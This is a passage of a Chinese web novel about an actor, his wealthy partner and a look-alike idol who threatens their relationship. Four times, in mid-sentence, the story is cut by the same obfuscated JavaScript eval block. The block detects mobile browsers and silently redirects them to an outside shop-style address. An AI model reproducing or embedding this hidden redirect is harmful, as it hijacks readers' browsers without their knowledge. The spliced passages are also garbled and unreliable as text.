这样想着,江叙和也很给面子地询问了他的新综艺。 得到对方甜甜的回答:“我和前辈们刚才燕平市拍摄回来,期间真的学习到了很多。” 说话间顾晨光不自觉地转动手腕,露出一支精致的钻表,正是江叙和所代言的Céleste高端线产品,也是他这个咖位绝对无法承受的昂贵价格。 瞥到他腕间的那抹亮色,江叙和很轻地笑了一下。 顾晨光又转过去给其他人打招呼,陆琳琅态度淡淡的,高导倒是依旧亲切。 * 三人组在西瓜卫视的地库分手告别,就在江叙和要上车的时候,陆琳琅突然冲上来抱了抱他:“你想要心里不舒服就给我打电话,别老是自己一个人憋着,姐们儿有的是时间。” 江叙和略微用力回抱了一下,上车坐好后才朝外面喊:”您老还是好好拍戏吧,高导头发都要愁没了!” 随后露出一个得逞的笑脸,升上车窗,将陆琳琅“好心没好报”的怒吼关在了外面。 他在车上又等了一会儿,经纪人王哥才姗姗来迟,脸色就跟别人欠了他一百万那么臭:“我刚才跟节目组沟通好了,张晓楠问你的最后一个问题会剪掉,工作人员也不准对外说。” 江叙和赶紧鼓掌:“王哥威武!” 王哥不吃这套,脸还是臭臭的:“威武个屁!张晓楠是老资格了,怎么可能犯这种低级错误,就是搁这儿恶心人呢。” 江叙和滑动着手机屏幕,欣赏《寻岸》官号放出来的新剧照,轻描淡写地说:“您可得了吧,还真以为全世界都知道我在跟人家小年轻抢男人呢。” 谢家是无可争议的顶级豪门,清楚他俩关系的人几乎都处在同个顶级而私密的社交圈层,这些人里又有谁会大喇喇地对外宣扬这些事呢? 王哥被他结结实实地噎了一下 ,一路上都没再作声,直到黑色埃尔法驶入了渡山庄园的大门,他才小声说:“其实这样也好,你这几年上升期都给耽误了,接下来还不如还好搞事业,大家好聚好散的,谢总也不会难为你。” 江叙和笑了下:“可不是嘛。” * 回到家里,没想到客厅里多了一个人,江叙和微怔。 谢明夷本在处理公务,见他回来了,露出了一点笑意:“怎么?不觉得惊喜吗?” 见他已经换上了家居服,江叙和猜测他上午就回来了,但也没问,只是扬起个笑脸,走过去亲昵地抱了抱对方:“怎么要回来也不告诉一声?我有空还能去机场接你。” 站起身将人回抱住,谢明夷亲了亲他的脸:“知道你有工作,就没打扰你。” 江叙和笑意盈盈:“工作哪有你重要。” 虽然只是简简单单一句话,谢明夷心头霎时软成一团,低头想要继续刚才的那个吻,却被怀中人轻巧地躲开了。 江叙和从他怀里挣脱出来,见他脸色有些僵硬,便说:“我脸上还带着妆呢你就亲,也不怕亲一嘴粉底液啊。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643294|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着就上楼卸妆换衣服去了。 一进衣帽间,就见正中央的玻璃岛台上端端正正的摆着一个天鹅绒盒子,他隐约猜到了是什么,打开盒子,里面果然摆放着一块精美的手表。 和顾晨光腕间的新款不一样,他收到的是停售多年的古董款——Série Initiale系列,Céleste的开山之作,也是所有腕表收藏家的梦中情表。 江叙和只是伸手摆弄了一下表带,就盖上了盒子,将这块价值不菲的名表放到了一边。 * 等他收拾完,内线电话响起,是管家请他下楼吃饭。 谢明夷已经在餐厅等着了,一见到他就问:“礼物还喜欢吗?品相这么完好的Série Initiale现在可不容易拍到了。” 江叙和的笑容天衣无缝:“很喜欢,谢谢你的用心。” 眼神扫向他的腕间,见他还是带着原来的手表,谢明夷不免问道:“怎么不换上试试?” 江叙和伸手抚过左手腕间,这块表伴他多年,表身之上已添了不少岁月的痕迹,他下意识地摩挲着表盘,声音也不由自主地放轻:“戴习惯了,懒得换来换去。” 谢明夷好笑:“送了你这么多手表,你却偏偏只戴这一块,要不是确定你真的喜欢,我还得怀疑自己是不是送错东西了。” 他嘴上这么说,心里却是高兴的,因为那块表是他送给江叙和的第一件礼物,是两人关系更近一步的见证。 后来江叙和亲自代言了Céleste,品牌方送了他很多更为珍贵的款式,但除了出席必要的商务活动,他在大部分时间里,仍旧只佩戴这一块表。 由于他的长情,连同款手表的销量都一度拉升了不少。 送出去的礼物被人如此珍惜,暗爽一下好像也是人之常情。 江叙和不想跟他讨论这个,坐下来夹了一点西葫芦意面和白汁比目鱼准备吃饭。 见他不吃碳水,谢明夷夹了一块南瓜给他:“粗粮也不能吃?” 卷起一根"意面",蘸了点儿低脂版本的白汁,江叙和吃得苦大仇深:“不行啊,这周是减肥加速期,只有中午才有碳水份额。” 谢明夷皱眉:“一定要这么严格吗?不要为了工作搞垮身体。” 江叙和没抬头,拿叉子卷面玩儿:“都是按照专业人士的建议来的,最多过程痛苦点,伤身倒是不至于。” 他这么坚持,谢明夷不好再说什么,又问起电影的事儿:“听说你这部戏要去陇州拍?” 江叙和点点头:“是的,因为要用戈壁滩的景,去那里最合适。” “什么时候开机?” “一个月后。” 谢明夷示意自己知道了,没有对他要去外地拍戏的事情发表意见。江叙和见状微微挑眉,低头继续努力解决盘子里的食物。 有不少人、包括经纪人王哥,都以为江叙和降低接戏频率是谢明夷的意思。 但真相并非如此。 谢明夷对枕边人的工作态度十分尊重——是的,他一贯都很尊重江叙和这些无关紧要的小爱好。 他之前还打算为江叙和创立娱乐公司,在遭到本人的强烈反对后才放弃,只是仍将他托付给娱乐产业的好友照顾。 这几年江叙和事业上的沉寂,其实更多还是他自身的原因。 5. 痴情 饭吃到一半,江叙和突然想起来一件事:“伯母前天来电话说,等你回来了让我们过去吃个饭,好像是她种的一株兰花开了,想显摆显摆。还有就是明希也快回来了,想找时间聚聚。” 谢明夷神色不虞:“我妈就是闲得慌,你不用每次都这么配合她,她自己有一堆小姐妹陪着。至于明希,这丫头在国外学了一身坏毛病,你最近少和她来往。” 他一直不怎么喜欢江叙和与谢家人有过于深入的接触,知道母亲又在私下单独联系他,心情更是不爽。 说完这番话,他似乎又觉得口吻过于严厉了,遂缓和了语气,问道:“明天要不要一起去看望阿姨?” 江叙和怔忪了一瞬,才低低道:“不用了,上次我可能刺激到妈妈了,医生建议我这段时间降低在她面前出现的频率。” 得到意料之外的回答,谢明夷微愣,随后心疼地握了握他的手。 吃完饭,江叙和又去做了一会儿有氧,累到微微出汗后才回房洗漱,然后窝在床上看剧本。谢明夷也没有去书房,坐在旁边的沙发上处理工作,这是两个人习惯的相处模式。 时间差不多了,江叙和伸手关掉自己这边的床头灯,双手放在肚子上,规矩地躺好了准备睡觉。 半梦半间,一道熟悉的身影靠近,温热的体温隔着夜色侵袭而来,那人轻轻啄吻他的耳际,用气声低唤“宝贝”。 江叙和清醒过来,心里觉得好笑:“今天怎么这么等不及?” 难道是在外面憋坏了?这不应该啊。 炙热的呼吸拂过耳畔,辗转间带着缠绵悱恻的意味。 身上的男人气息微乱,在他胸前留下温暖濡湿的痕迹:“宝贝,这些天我一直在想你,想得浑身都发疼……” “你能感受到吗……” 确实感受到了…… 感受到某处无法忽视的存在,江叙和仗着夜色狠狠翻了个白眼,任劳任怨地环抱住了对方。 * 谢明夷回寰海的消息一传出去,他的几个朋友就打着给他接风的名义攒了个局,非要拉着他聚一聚。 盛情难却之下,今天他便带着江叙和一起去了一伙人常聚会的马球俱乐部。 在场的都是谢明夷经年的好友,出身自然也是非富即贵,他们要么独身前来,要么带着门当户对的另一半,说起来,江叙和还是第一个能出现在这个私密小圈子非享乐场合的“非正式”伴侣。 不过大家都是体面人,对他从来都是亲热又客气。 寒暄了一会儿,经理过来通知众人马匹已经准备好,要下场的几个人站起来,有说有笑地往外走。 江叙和会骑马,但打马球就有点太为难他了,所以这种场合从来都是做气氛组。 几个不打球的男女互相招呼着上二楼观战,见到沈维则也在其中,江叙和好奇:“你怎么不去打球?” 沈维则苦着脸:“快别说了,上次跟他们几个疯子一起玩,好悬没把腰给跌断,这两个月是别想看到我下场了。” 江叙和看他一手撑着腰,走得十分辛苦的样子,惊讶道:“都这样了你为什么不在家躺着休息,还出来干什么?” 沈家二公子也要受这委屈? 后面有人看不下去,揭穿道:“叙和你别信,他胡说八道骗你呢!这小子要真是伤了腰,那也肯定不是因为什么正经原因。” 沈维则的腰椎瞬间恢复了健康,转头笑骂:“别造谣我啊!” 大伙儿上了楼,江叙和挑了个边上的位置,远远地看到底下的人已经活动开了身体,纷纷上马跑动了起来。 十几个人分散在空旷的操场上,显得毫不起眼,偏偏江叙和总是能一眼找出某个人的身影。 他出了会儿神,肩膀突然被人碰了碰,转头发现是沈维则。 对方端着两杯香槟,笑得一脸斯文败类:“怎么不过去聊天?” 说着将其中一杯递了过来,不等江叙和拒绝,就道:“知道你忌口,这是无酒精的。” 他自己也喝了一口,皱起眉毛:“我还是觉得这东西叫果味儿苏打水更合适。” 江叙和笑:“这么嫌弃的话,你干嘛不给自己拿杯爱喝的。” “我这不是想着跟你同甘共苦嘛。” 沈维则在旁边坐下,倚在栏杆上看他们打球,刚刚谢明夷贡献了一个漂亮的击球,他遥遥举杯示意,转头去看江叙和,却发现对方的心思根本不在球场上, 他不由失笑,也不再关注球场上的动静,只说:“明夷不是前天才回来?年轻人就是精力旺盛。” “你也就比他大一岁而已,干嘛说得自己很老一样。” 搁这儿寒碜谁呢,江叙和无语。 被他嫌弃,沈维则反而更高兴了:“难为你还记得。” 江叙和疑惑地看向他,沈维则只作不见,转而关心起了江棠的近况:“江阿姨身体还好吗?我一直想去探望,又怕打扰了她静养。” 提起重病的母亲,再轻松的氛围也沉重了几分,江叙和叹了口气:“多谢你关心,我妈还是老样子,不过换了新的营养方案后精神倒是比以前稍微好些。” 江母身患的是一种通过线粒体DNA遗传的、名为“克里症”的罕见基因病。 没有发病时,携带者只是皮肤对于紫外线照射极为敏感,可一旦发作,患者血液中的原紫质水平会急速升高,引发严重贫血和虚弱。 随着病情的恶化,绝对大多数患者会多个器官因为毒性蓄积导致衰竭,通常在3-6个月内丧命。 而江母发病七年却还能坚持,全凭谢家支持的医疗机构每年砸进去上亿的金钱,谢明夷甚至资助了一个专门研究“克里症”的科研团队,为她不惜工本的开发新药和调整医疗方案。 能够投入如此巨额的金钱给情人的母亲续命,谢明夷的行为完全可以称得上痴情了。 无论放到地球的哪个角落,都是值得被赞颂的痴情。 看着江叙和恬淡的神色,沈维则终究是有点不甘心,又低低地补了一句:“那你呢?你最近还好吗?” 江叙和抬头,似乎是对他的问题感到惊讶,过了一会儿才笑道:“要不是相信你的为人,我都要怀疑你们背后有个小群了。” 沈维则:? 江叙和笑:“以我最近被关怀的频率来看,如果不是你们背后有个小群,那就是我要被甩的消息已经满天飞了。” 沈维则尴尬道:“不是,是之前老俞在国外一个酒会上看到明夷跟个小明星在一块儿,我都说他净瞎猜呢。” “就这?”江叙和嗤笑,端着酒杯很有八风不动的气派,“所以就笃定明夷移情别恋了?我还以为你们掌握了什么了不起的一手证据。” 他的神色过于安然,沈维则一时分不清这安定的来源究竟是因为盲目的信赖,还是心灰意冷。 但不论是哪一种,他的平静都刺痛了沈维则,让他平生一股把所有的一切都告诉对方的冲动。 他想告诉他:你醒醒吧,谢明夷根本就不爱你,他爱的只是你这张长得像他师兄的脸。 他还想告诉他:那个新人不仅长得像,读的还是谢明夷的母校,无论哪方面都比你强,你是赢不了的。 当然,他最想说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643295|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是:这个世界上,能照顾你的人,从来就不止他谢明夷一个。 他想不管不顾,干脆戳破这个所有人都在心照不宣瞒着江叙和的弥天大谎:“叙和,你听我说……” 却有两个女孩子挽着手过来,笑着招呼他们:“坐在这里有什么意思,我们一起去划船吧!” 过来的两个女生,一个叫沈书仪,是沈维则的远方堂妹,也是俞经年的未婚妻,算江叙和半个老板娘,因为这层关系,平日里对他多有照顾。 另一个则是闻雅,她家境虽然优越,但也够不上这个圈子,但她是沈书仪的死党,故而能频频出现在他们的聚会上。 被她俩打断话头,沈维则惊觉自己差一点就搅得天下大乱,心跳快了两拍,仰头饮尽了杯中还泛着气泡的香槟。 他心有余悸,一旁的闻雅却不放过他:“沈大少爷,你在那儿装什么深沉呢,还不过来给我们当苦力。” 沈维则告饶:“闻大美姐,您还是饶了我吧,我的老腰可受不住。” 闻雅“切”了一声,魔爪伸向江叙和:“小溪宝贝去不去啊?那边新修了码头可以钓鱼哦。” 小溪是江叙和刚出道时粉丝给的昵称,闻雅自称是他的铁粉,故而第一次见面就非要这么喊他,在一众亲切唤他“叙和”的人中独树一帜。 江叙和对这种自来熟的人类有着天然的恐惧,但是一听到可以钓鱼,眼睛还是亮了起来:“这边湖里还养了鱼?那我得去试试手气。” 沈书仪走过来,她是个很文静的女生,和闻雅刚好互补,笑眯眯地开口:“维则不去吗?钓鱼可用不到腰。” 沈维则摆摆手,态度坚决。 两位女士只好遗憾地放过了他,拉着江叙和一块儿玩耍去了 * 谢明夷打完一场球,回来却看到会所里只有沈维则一个人对着平板处理公务,其他人都已不知所踪。 不用他开口,沈维则已经伸手往外一指:“去钓鱼了。别看我,是俞经年老婆硬拽着人去的,你要怪怪他。” 谢明夷没说什么,去更衣室换了衣服出门找人。 等他从高尔夫球车上下来的时候,远远就看到江叙和被一群男男女女围着,手里握着根钓竿在和水下的东西较劲儿。 大伙见他来了,都招手让他赶紧过来,又压低了声音:“叙和钓到条大鱼,老半天拉不起来,又不肯让人帮忙,你快去帮帮他。” 不然他们连话儿都不敢大声说,生怕惊走了鱼,引来钓鱼佬的怒火。 谢明夷自然是不一样的,他一过来,江叙和就乖乖交了竿子主动要求帮忙,结果他刚一上手就愣了一下,转头看向满眼期待的人,很是遗憾:“应该是挂底了。” 还真就是挂底了,看着工作人员帮忙捞出来的水草,经理不好意思地致歉:“这片人工湖的设计是想尽量还原野生环境,没想到……” 没想到太还原了,居然坑到了人菜瘾大的尊贵会员呢。 江大影帝怒气冲天:“敢情我花了三十分钟,一直在钓地球!” 他怒摔鱼竿,引起众人一片善意的嘲笑。 谢明夷也忍不住笑:“喜欢钓鱼的话,在家多钓钓就好了。” 想到渡山庄园的胖头鱼,江叙和满脸嫌弃:“那些鱼一日三餐吃得比我都好,压根儿瞧不上鱼饵。” 谢明夷揽住爱人的肩膀,很有几分昏君的模样:“敢不咬你的勾,那就饿上几天,看它们还不老实。” 江叙和乐了:“看来给你家当鱼还有饿肚子的风险。” 两人谈笑晏晏,行动间亲密无忌,似乎没有任何嫌隙。 6. 恶意 最新一期《晓楠会客室》已经上线,江叙和打开电视,独自窝在小客厅的沙发里欣赏,倒不为别的,主要是为了检阅王哥的战果。 谢明夷过来找他,也陪着看了一段,看到陆琳琅时候还说了一句:“陆琳琅还在拍戏?她哥也不管管。” 谢陆两家勉强也算世交,谢明夷怎么也想象不出谢家的女孩子抛头露面做明星的画面。推己及人,他见到陆琳琅星光熠熠,就总有那么几分刺眼。 江叙和只当没听见,看到最后,节目果然删除了那一小段,笑了一下,低头给王哥发信息。 就在他给王哥发些不值钱的彩虹屁的时候,电视里倜然响起一道熟悉的声音,原来是西瓜卫视在播放自家王牌综艺的宣传片,顾晨光活力四射地站在镜头前,整个人就是青春洋溢的代名词。 江叙和碰碰身边人的胳膊,指着电视画面道:“Kaleido男团的门面担当,你认识吗?” 谢明夷脸色有点僵:“为什么突然问这个?我上哪里去认识这种人。” 王哥回了信息过来,江叙和一边回消息一边心不在焉地:“还不是那天去录节目,张晓楠问我对他什么看法,据说现在网上都管他叫小江叙和呢。” 原来只是为了这个,谢明夷放松下来,先前的那点紧张变成了对张晓楠的不满:“这主持人好不专业,问的都是些什么问题,岂不是让你给别人送炒作的靶子。” 江叙和依旧低头回消息,一丝余光都没分给他:“可不是嘛,所以经纪人逼着电视台掐掉了。” 又是长时间的沉默,周遭只剩下他用指尖敲击手机屏幕的声音。 良久,他终于收了手机,看着谢明夷,突然笑起来:“其实那天我回来后仔细看了下,我俩确实长得蛮像的。” “滴——” 谢明夷起身关掉电视,脸色有点黑:“那你可能需要配一副眼镜了。” 江叙和压住嘴角一点得逞的笑,耸耸肩,不再多言。 过了一会儿,谢明夷又跟他商量:“你生日快到了,我们要不要去岛上玩几天。” 江叙和沉浸在某种病态而隐秘的胜利中,面对他的询问,只是抬了抬脸,露出一个乖巧的笑来。 * 《寻岸》定档定得仓促,很快就进入了密集宣传期。 江叙和下个月就要进组,后期很多电影的宣传行程都配合不了,虽然高导他们都很体谅,但他难免觉得对不住剧组,便趁着还在寰海的日子尽量多拍物料、录口播,给后期宣传准备素材。 今天他又出去录了一档节目,是个室外闯关类综艺,体力消耗大得惊人,录制地点又偏僻,天不亮出门,天黑了才回到市区。 他困倦地靠在座位上,王哥递过来一瓶运动饮料:“你中午都没怎么吃东西,喝点儿这个吧。” 江叙和摆摆手:“减肥呢。” “减个屁!”王哥拧开盖子往他手里塞,“裴屿敢嫌你胖,我王博文第一个饶不了他。” 看他纵横捭阖的样子,真是霸气我王哥。 江叙和怕笑呛着了,坐直身体喝了两口,晃晃瓶子朝他示意:“可以了吧?我真要睡了,到地方了再喊我。” 可惜他的好梦还是被一阵电话铃声吵醒。 电话那头的男人声音低沉:“宝贝,我这边有些突发状况要处理,可能没办法陪你去岛上过生日了。” 江叙和半梦半醒,脑子昏昏沉沉的,好不容易才反应过来他说了什么,情绪倒是很平和:“我没关系的,你那边发生什么了?要紧吗?” 他迟钝的反应造成了误解,男人的声音愈发歉疚:“是工作上的事情,下属闹出了些乱子,我现在在燕平。” 没想到他居然已经离开寰海了,看来真是出了了不起的大乱子,江叙和清醒了一点,关切道:“那你也不要太急躁,工作是做不完的,慢慢来。” 他通情达理地结束了一通电话,告诉王哥:“让司机慢点儿开,晚点儿到家没关系的,明夷去燕平出差了。” 说完打了个呵欠准备再接再厉睡一觉,转头却看到王哥的脸色跟被狗咬了一样黑云罩顶,便问他:“你垮着个脸做什么,被放鸽子的人又不是你。” 王博文看他一眼,没有说话,沉着脸将平板递了过来。 屏幕上是打开的社媒软件,热搜界面正被一个熟悉的名字刷屏。 看着一连串的“顾晨光商场活动意外跌落舞台”、“顾晨光舞台坠落事故现场”、“顾晨光重伤昏迷”、“顾晨光平安”、”请主办方保障艺人安全”的词条,江叙和有些迷茫: “他伤的很严重?” 王哥指着热搜详情,声音闷闷的:“他出事的地方,就是燕平。” 江叙和恍然大悟:“原来如此。” 王哥小心观察他的神色,却看不出什么端倪。 只是回去的路上,江叙和再也没能睡着。 * 运气真是一种很玄学的东西,很多时候都是越不想遇见什么就越来什么。 今天江叙和出门拍宣传照,回程的时候,早上路过的商场已经换上了新的巨幅海报。 海报上顾晨光穿着新潮,手捧某沙龙香水品牌当季新品,笑得阳光肆意,分外契合品牌推出的夏日主题。 王哥只是瞄到一眼就直说晦气,撇过头坚决不再看。 江叙和倒是盯着细细研究了半晌,直到信号灯有红转绿,车开出去再也看不见了才作罢。 他说:“现实里没觉得,看海报倒是发现我俩确实长挺像的。” “废话,他海报都是照着你高P的,能不像吗?!” 王哥听不下去,怒气冲冲的,“再说了,长得像有什么了不起?还真能代替你了?” 有搅和了江叙和生日的这重罪过在,顾晨光就是真摔,在王哥眼里也变成了假摔,只觉得他来势汹汹所图不小,实在看不惯:“别人图个新鲜而已,他还分不清大小王了!” 江叙和倒乐了:“是啊,图个新鲜。” 现在他这个旧款的新鲜感不再,可不就是要换上更新鲜、更相似的人。 王哥没听懂,还以为他是在附和自己,愈发来了劲儿,将顾晨光从出道至今的糗事都列出来批判了一遍,显然背地里是做了大功课的。 江叙和摇摇头,不想坏了他的兴致,拿过平板自顾自看起了新闻。 事发商场和品牌方应该是做了公关,顾晨光舞台事故的词条已经找不到了,倒是粉丝刷起来的维权词条攀上了热搜前十的位置。 有点好奇对方的伤势,不过江叙和在点进词条的瞬间就明白他的伤肯定严重不到哪里去。 因为词条里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643296|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的内容比起维权,更像是一场顾晨光单人的巨大安利秀。 有粉丝上传了顾晨光的个人作品合辑,其中包含他的出道作,那位上传的粉丝在文案里活泼又充满爱意地写着“剧情稀烂,但是满眼只能看到光崽的脸!一部戏告诉你什么垂直入坑,初见即永远! ” 粉丝的心意总是这么直白热烈,江叙和含笑点开,然后他嘴角的笑意就凝固在了那里。 原来顾晨光虽然是偶像出身,出道作却是他成团前拍摄的一部网络大电影。网大嘛,这种不上院线的项目制作成本一般都很低,服化道也讲究不到哪里去。 顾晨光拍的这部也不例外,说是电影,质感却连一般的电视剧都赶不上,更别提跟江叙和那部技惊四座、摘下了金帆船奖桂冠的出道作相比了。 至于演技,江叙和说不出什么难听的话,只能说他转型当爱豆的确是个明智的选择。 只是电影再粗糙、演技再拙劣,仍然掩不住主演的过于出众的容貌。 可能是娱乐圈少见的学霸光环加持,顾晨光拿下的这个角色同样是一位理科学霸,清高、孤僻,穿着一件洗到发黄的白衬衫站在那里,完全就是一朵不可攀折的高岭之花。 简直、简直像极了另外一个同样清高优秀的男人。 平板还在兢兢业业地播放着电影,观众的注意力却不在上面,江叙和想,他好像明白谢明夷的选择了…… * 王哥久久不见他回应,探头过来却发现自家艺人在看那个小妖精的电影! 博文大怒!怒文大勃! “有什么好看的!他连出道作都是在模仿你!” 没错,江叙和在出道作里,饰演的也是一个清高科学家。 王哥不说还好,被他这么一说,江叙和脑子里反倒不合时宜地冒出来一句——同样是替代品,大家平起平坐,谁又比谁高贵呢? 这句话被他脑海里那个时不时出现的声音用尖酸的怪调念了出来,让他觉得无比荒谬,一丝笑声就这样漏了出来。 王哥被这突兀的笑声一惊,话音戛然而止,小心翼翼地观察他的脸色。 而江叙和已收敛了笑意,神情安静地望向了窗外,仿佛刚才那瞬间的波动与己无关。 有了刚才的插曲,王博文一路都坐立不安,他从兜里翻出一个随身带的药瓶,捏在手上,眼神一刻都不敢离开眼前的人。 等快到渡山庄园的时候,江叙和突然出声:“你之前是不是跟我提过,瑞斐尔新来的医生技术特别好?” 王哥一下没想明白他在说什么,等反应过来,嘴都要咧到耳根了:“是的是的,说是从米国顶尖私人医院挖过来的,技术好得不得了!” 在即将驶入渡山庄园私人车道前,黑色埃尔法灵活地转了个身,往一家在圈内颇负盛名的医美机构驶去。 因为常做娱乐圈的生意,瑞斐尔私密性极佳,两人刚到地库就有专人前来接待,一路护送前往他们要去的楼层。 江叙和带着口罩,刘海垂下,让人看不清他的眼神。 他的身后,瑞斐尔医院重金挖来的医疗专家的海报一闪而过,海报上面,穿着白大褂的专家双手抱胸,目光坚定地看向前方,下方则是他的诊疗理念—— “伤疤并非皮肤组织的终结,而是它一段错误的记忆。” 7. 气息 从医院回来,皮麻半路就失效了,疼得江叙和龇牙咧嘴的,王哥赶紧拿了冰块给他捂着,满面忧色:“这样是不是有点太冒进了?” 一次治疗的激光能量强度抵得上别人好几次了,治疗的时候王哥都怕他晕过去。 江叙和疼得直抽气,说话音调倒是很平稳:“既然要做,那就索性做得彻底一点,就当是给这下部电影的造型师降低难度了。” 毕竟他的下部电影有很多打斗场景,造型上未必都适合遮挡手腕。 王哥没好气:“那我替造型师谢谢你哈。” 他将人一路送到渡山,管家迎了出来,看到江叙和捂着手腕,连忙问:“江老师这是怎么了?” 江叙和道:“没事儿,不小心扭到手腕了,在冰敷。” 管家想让住家医生看看,遭到拒绝后也没说什么,只是在送王哥出去的时候,幽幽来了句:“下次江老师出门,麻烦王经理提醒他把小秦带上,好歹能帮上点忙。” 王博文被他的眼神看得背后发毛,打着哈哈:“下次一定,下次一定。”脚底抹油离开了是非之地。 主卧的灯熄灭后不久,熟悉的电话铃声响了起来。 没想到谢明夷今天还会打电话回来,周衡愣住,就没能在铃响过第一声后准时接起,他手忙脚乱地掏出手机,总算赶在第二声铃响完前接通了电话:“先生,晚上好。” 汇报完江叙和一天的行程,周衡犹豫了一下,还是没有说他手腕扭伤的事情。 毕竟跟跌落昏迷相比,扭到手腕实在是无足轻重,非但不值得让日理万机的先生费心,还会显得像是什么苦肉计。 知道他行程如常,谢明夷放了心,交代管家:“他这段时间心情不好,要是拿你们撒气看,就多包容些,等我回来加奖金。” 周衡想说他其实看不出来江老师不高兴,而且江老师从来不拿他们撒气,但他最后还是点了点头,说:“好的,谢谢先生。” * 经历了一整天的奔波劳累,一张独属于自己的空荡荡的大床就是对疲惫身体的最好奖赏。 ——这是江叙和换上舒服的真丝睡衣后,躺在床上的第一秒脑子里冒出的想法。 在“奖赏”身上翻来覆去一百三十二次后,被打脸的小江痛定思痛,起床穿鞋,抱着枕头,去二楼随便找了一个客卧,掀开被子躺下。 果然,在摆脱了那些属于另一个人的气息无孔不入地纠缠之后,他很快就沉沉睡了过去。 第二天管家迟迟未见他下楼,内线电话也没接,上去找人时却见小橘子蹲在二楼走廊里,正在用左手边第一间客卧的房门磨爪子。 他觉得奇怪,正准备上前查看,房门正好打开,露出一张精神焕发的英俊面孔。 管家愣了下,打招呼:“江老师,早上好。” 对方抱起扰人清梦的小橘子,团在怀里揉肚子,脾气很好地朝他笑笑:“早上好。” 江叙和洗漱的东西都不在这里,他也用不惯客卧准备的玩意儿,只好抱着猫回去洗漱。 管家送他到楼梯口,才问:“您怎么跑到下面睡觉了。” 江叙和随便找了个借口:“主卧太空旷了,这两天睡觉总是不踏实。客卧地方小,聚气更舒服。” 周衡也没问住了七年的地方怎么突然就不舒服,只道:“那我让人给客卧换上您惯用的床品。” * 燕平市。 谢明夷的确是在顾晨光这里。 鼎泰地产是谢家和光控股旗下的产业,而顾晨光正是在鼎泰进驻燕平的首个高端商场开业活动出的事。 开业活动上出现如此恶劣的舆论事件,确实对鼎泰地产在燕平市的版图扩张造成了一定的负面影响。 但这事儿往大了说是安全事故,往小了说就是摔了个十八线小明星,对鼎泰地产这种资本巨兽来说,摆平一个小明星还不是洒洒水的事情。 所以听到谢明夷竟然亲临燕平的消息,鼎泰地产的CEO李建业登时就是一个激灵,还以为这件事背后有什么他不知道的隐情,马不停蹄赶到了谢明夷所在的医院。 他脸上的汗都来不及擦,一来就汇报:“谢总,我侧已与涉事艺人的公司协商完毕,双方达成了和解,网上舆情也已经得到管控,不会进一步发酵,对企业形象造成影响……” 谢明夷轻轻抬手,他立马止住了汇报的势头,双手贴在裤子中缝,微微躬了一点腰,等待指示。 谢明夷便问道:“他怎么样?” 李建业还以为自己没听清,有点茫然地看过来。 谢明夷又问了一遍;“我是问你,顾晨光身体怎么样。” 李建业卡了壳,支支吾吾说不出个所以然来。 李建业心里苦啊,他在路上复盘了近期所有的工作,谁知道顶头BOSS一来,问的第一句话就是个小明星。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643297|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天知道他每天都忙成什么样了,哪有空管一个小明星的死活。 幸好这时候谢明夷的私人助理Linda到了,身后还跟着两个医生,李建业被请了出去,却着实松了口气。 Linda带来的正是顾晨光的主治医生,此时向他解释:“患者伤势不算严重,他头部受到的撞击有限,理论上不会引起如此长时间的昏迷。只是他可能最近太辛苦,身体过于虚弱,受伤后身体到达了临界值,就开始了本能的休眠。” 医生得出最终结论:“他受的伤一两个星期就能好,但是长期营养不良需要好好注意。” 明星嘛,吃不饱肚子还要高强度跑通告是常事,医生也没太当回事,只做了例行告知。 谢明夷点点头,谢过医生,起身去里间探视。 * 病人依旧没有醒来,失血和长期的营养不良让他的脸有些病态的苍白,却依旧难掩五官的精致优越,搭配着纤细修长的肢体,躺在那里时宛若一只大号的BJD娃娃。 谢明夷走过去,坐在床边的椅子上,低头审视地看向床上的人。 那张脸尚未完全褪去少年的柔软轮廓,仍带着几分青涩,虽然闭着眼睛,但谢明夷还记得这双眼睛笑起来时眼角微弯、仿佛盛着碎钻的闪亮模样。 